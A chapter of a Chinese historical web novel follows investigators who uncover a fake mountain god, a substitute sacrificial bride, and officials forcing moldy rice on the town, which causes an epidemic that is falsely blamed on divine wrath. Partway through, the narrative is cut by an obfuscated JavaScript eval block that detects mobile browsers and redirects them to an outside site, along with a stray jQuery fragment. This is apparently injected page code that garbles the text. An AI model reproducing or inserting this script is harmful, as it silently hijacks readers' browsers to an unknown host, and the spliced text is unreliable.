另一边，蒋常带着人在南隰山双管齐下，一边彻查假冒山神的踪迹，一边拿着画像核实少年的身份，几番比对下来，竟与少年自述的家世、过往分毫不差，南隰山上的确存在着这么一个人。
可正是这份“无懈可击”，反倒让蒋常心头的疑云越聚越浓，总觉哪里透着违和，于是带着画像往山周边的人家再探。
他从一名老樵夫口中得了意外消息：“十几年前呐，我在山坳里见着个孤苦孩子，模样跟你说的差不离，可怜见的，我还舍过他几回干粮。”
蒋常眸光一凝，当即掏出画像递过去：“老丈您瞧瞧，当年见的可是这个孩子？”
老樵夫枯瘦的手指抚过纸面，眯眼端详半晌，叹道：“哎哟，年头太久，记不真切了，但眉眼间确实有几分像，那孩子当年看着也就十五六来岁的光景。”
这话犹如一道惊雷炸在蒋常心头。
如今已经过去十余年，当年那名樵夫都已经满头花白，脊背佝偻，那名孩子是如何做到仍保持着少年人的模样？
……
几日过去，放出去调查的两拨探子也相继回来了。
待听到山神祠内空无一人、身处鄂阳的女子正是沈沂清的胞妹沈青晚时，陈顺脸上的笑意再也克制不住，最后索性大笑出声，指尖重重叩了下桌面，嘴角扬得极高。
好啊，沈沂清那瘸子真是好大的胆子，居然为了一己私欲，不惜亵渎山神做出找人替嫁之事。
“既然这位好阿兄如此煞费苦心，那我们就去帮他一把！”
-
“府上最近不缺人手帮忙。”
沈沂清看着面前的人，惊讶之余还有担忧，“怎么突然就回来了？”
沈青晚在搀扶下从马车下来，“我是听说阿娘病倒了，才马不停蹄立刻赶回来的。”
“阿娘她还好吗？”
在看到沈青晚没有知会一声便匆忙赶回，沈沂清便意识到不对劲了，现在听到她这话，更是确定了心中猜想。
看来已经有人知道他找人替嫁并将晚晚送走的事了。
“阿娘她很好，”沈沂清安抚她道：“只是前段时日因为心急有些上火罢了，如今已经好全，你不用担心。”
“那阿兄你怎么……”沈青晚说到一半愣住，似乎也觉察出其中的怪异。
她是收到沈沂清的来信，信中说阿娘病重了危在旦夕，她才和阿远连夜动身往回赶的，生怕阿娘出了意外连最后一面都见不到，这一路连休息都不曾有片刻。
但现在冷静下来仔细一想，那信的字迹并不如阿兄以往写给她的工整，语气也不像。
怪她，一时心急乱了分寸才没有发现这些明显的漏洞。
再开口时沈青晚也跟着不安和紧张起来，“阿兄，我这次回来是不是给你惹麻烦了？”
沈沂清失笑，摸了摸她的发顶，让她不用害怕，“你永远是我最爱的妹妹，哪里有给我惹麻烦一说。”
沈青晚松了口气，看向方才搀扶她下马车的人，“对了阿兄，给你介绍一下，这是我在路上结识的朋友，叫简凝远，因为担心我会被人欺负，便陪着一起回来了。”
一旁站着的女子劲装裹着利落身段，腰束银纹宽带，悬一柄墨鞘短刃，乌发高束成利落马尾。眉锋冷峭如裁，抬眼时眸光扫过，自带一股生人勿近的凛冽。
在沈青晚话音落下后，她向沈沂清微微颔首算是打招呼，等再看回前者时眉眼间多了些放松。
简凝远的存在沈沂清其实是知晓的，说是路上结识的朋友，但更准确一点来说，是沈青晚在半道救下的。
母亲和外祖父皆精通医术，沈青晚自然不可能完全不知，只是她从小就对这方面提不起多少兴趣，学会的也都是些皮毛功夫。
万幸这些足够她用了。
沈沂清私下派人调查过简凝远的身份，是江湖中人，虽不是每天过着刀尖舔血的日子，但替人办事，这么多年也肯定留下了仇家。
说实话，沈沂清不太放心，若非妹妹喜欢此女子，他更希望她们之间少接触的为好。
现在人都带回来了，为了不叫沈青晚伤心，他也不好做出赶人走的举动，只要简凝远能够不伤害晚晚，他倒可以继续睁一只眼闭一只眼。
“阿娘许久不见你，想是很思念，既然回来了，这几日就在府上好好陪一陪她吧。”
沈青晚并不迟钝，听出阿兄这话里有保护她的意思，当即听话地点头保证，“阿兄你放心好了，我一定不会乱跑，何况还有阿远在，她很厉害的。”
-
大白天的，镇口的丧锣便敲得令人碎心。
最先染疫的张老丈没熬过晌午，抬出来时尸身溃烂得难辨模样。
天气炎热，腥腐气很快就在周围传开，恐慌像疫病一样，爬满了在场每个人的眉眼。
巷尾的茶寮早没了往日的热闹，几个面生的汉子缩在角落，声音压得低却能让旁人听清：“这病哪是寻常疫症？前阵子有人供奉山神的香都无故断截了，分明是山神爷动怒，降罚下来了！”
有人怯生生接话：“罚？可咱们没犯啥错啊……”
那汉子立刻挑眉，话里带刺：“没犯错？你仔细想想，上月送祭新娘入山，规矩可是半点错不得的。可我听说那姑娘开始是极不愿的，怎地后来一路安安静静？要不是换了人，就是上山后叫人救走了。”
“山神爷俯察万物，定是亲眼瞧见了，嫌祭礼不敬，才让疫病吞了镇子！”
这话像颗火星落进干柴，瞬间在镇民里炸开。有人扯着嗓子喊“定是祭女触了忌讳”，更有老妪跪在路边，对着南隰山的方向磕头，喊着要把祭女从山里请回来谢罪。
流言越传越凶，家家户户闭门不出，却总有人隔着门缝窃窃私语，字字句句都钉在那早已入山的祭祀新娘身上。
一名家丁混在人群里，见镇民已然被疑云缠心，悄悄返回府上，向主子复命：“人都信了，再过几日，他们自会逼着知县去寻那祭女，到时候……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521291|203320||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“做得好。”陈顺嘴角勾出阴笑：“让他们闹，闹得越凶，这镇子的人心才越攥在咱们手里。”
县廨内，知县看着手中上报的“疫症”情况，眉头紧皱，嘴角绷紧。
他知道镇上突发的“疫病”绝非神明降罚，却抵不过满镇的流言与恐慌。
窗外的风声似乎都裹着百姓们求生的哭嚎，叫人心悸，竟让他也生出了一丝动摇：难道那日的祭礼真的出了什么差错？
可是山神爷分明亲口答应过他的，只要他将那些聘礼抬进沈府……
……
思来想去，沈沂清还是决定亲自去一趟官府的粮仓进行调查。
一来若是真有什么问题，他好及时掌握证据，二来沈府在镇上地位不低，即使被人发现，随便扯个理由，官府的人顾忌他的身份，也不敢立刻将他抓入大牢。
本想让蒋常陪同自己一块去的，他身手好，必要时能帮忙脱身，奈何对方近日一直待在山上，沈沂清实在等不到对方回来了，正琢磨去喊其他侍卫陪同时，迎面遇上了寄安。
寄安一眼看出沈沂清这是要出去，但还是问：“哥哥这是要外出？”
“嗯。”沈沂清没打算告诉对方，“有点小事需要处理，很快就回，你在府上……”
“我陪哥哥一起去吧。”寄安适时打断了他的话，不是询问，脸上带笑，语气却是不容人拒绝的意味。
沈沂清知道他不是最好的人选，但也没拒绝。
二人刚行至官府粮仓附近，便撞见里头乱作一团。
几名官吏正将一袋袋米往秤上搬，催着镇上的米铺掌柜过数。掌柜做了几十年的生意，只是扯开个口子看了眼，便面露难色连连摆手，急声道：“大人，这米都霉了，卖出去吃坏了人可怎么得了？”
为首的官吏当即沉了脸，抬脚踹在米袋上，目露凶光地呵斥：“不过霉了点边角，又不是全烂了！晒一晒淘洗干净，怎么就不能吃？敢驳官府的意思，你这铺子还想不想在镇上开了！？”
掌柜被那股威压慑住，脸色青白交加，终究不敢再犟，只得咬着牙掏了银子，转头喊来外头的小厮，闷声吩咐着把霉米搬上马车。
而在他离开之后不久，又一名小厮驾着马车停在了粮仓前。
沈沂清瞧见，心头那点猜测终是落了实。
镇上连日来大批百姓病倒，哪里是什么莫名疫病，分明是吃了这霉米的缘故。也难怪越是底层的百姓，染病的越多，那些大户人家却鲜有动静，想来是米铺掌柜也怕得罪权贵，不敢将霉米卖给他们，但为了不让这些米砸在手里烂掉，便尽数兜售给了寻常百姓。
怕是镇上诸多米铺，大抵都架不住官府这般威逼，只得买下霉米。尚有几分良心的，还会掺些好米混着卖，若是心黑的，便直接将霉米包装成好米的模样售予旁人，害得许多不知情的百姓误食粮毒。
念及此，沈沂清只觉心头火气翻涌，指尖都在发颤。
这般视百姓性命如草芥，当真可恨！